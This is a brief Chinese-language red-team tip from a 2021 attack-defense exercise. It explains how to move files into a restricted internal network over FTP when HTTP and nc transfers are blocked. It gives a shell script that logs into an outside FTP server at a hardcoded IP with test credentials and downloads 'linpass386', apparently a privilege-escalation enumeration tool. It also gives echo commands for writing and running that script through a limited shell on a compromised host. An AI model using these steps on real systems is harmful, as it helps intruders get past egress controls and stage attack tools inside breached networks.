21年在某次攻防中内网限制http访问,尝试NC传文件也传不了。后来找了使用ftp文件下载
服务端需要放通20,21号端口
开启FTP服务。

shell脚本

  1. #!/bin/sh
  2. ftp -v -n 120.131.13.90 <<EOF
  3. user test 123
  4. binary
  5. get linpass386
  6. bye
  7. EOF
  8. echo "success"

shell 写入执行

  1. echo '#!/bin/sh' >>t1
  2. echo "ftp -v -n 120.131.13.90 <<EOF" >>t1
  3. echo "user test 123" >>t1
  4. echo "passive" >>t1
  5. echo "binary" >>t1
  6. echo "get linpass386" >>t1
  7. echo "bye" >>t1
  8. echo "EOF" >>t1
  9. echo "echo "success"" >>t1
  10. chmod 777 t1
  11. ./t1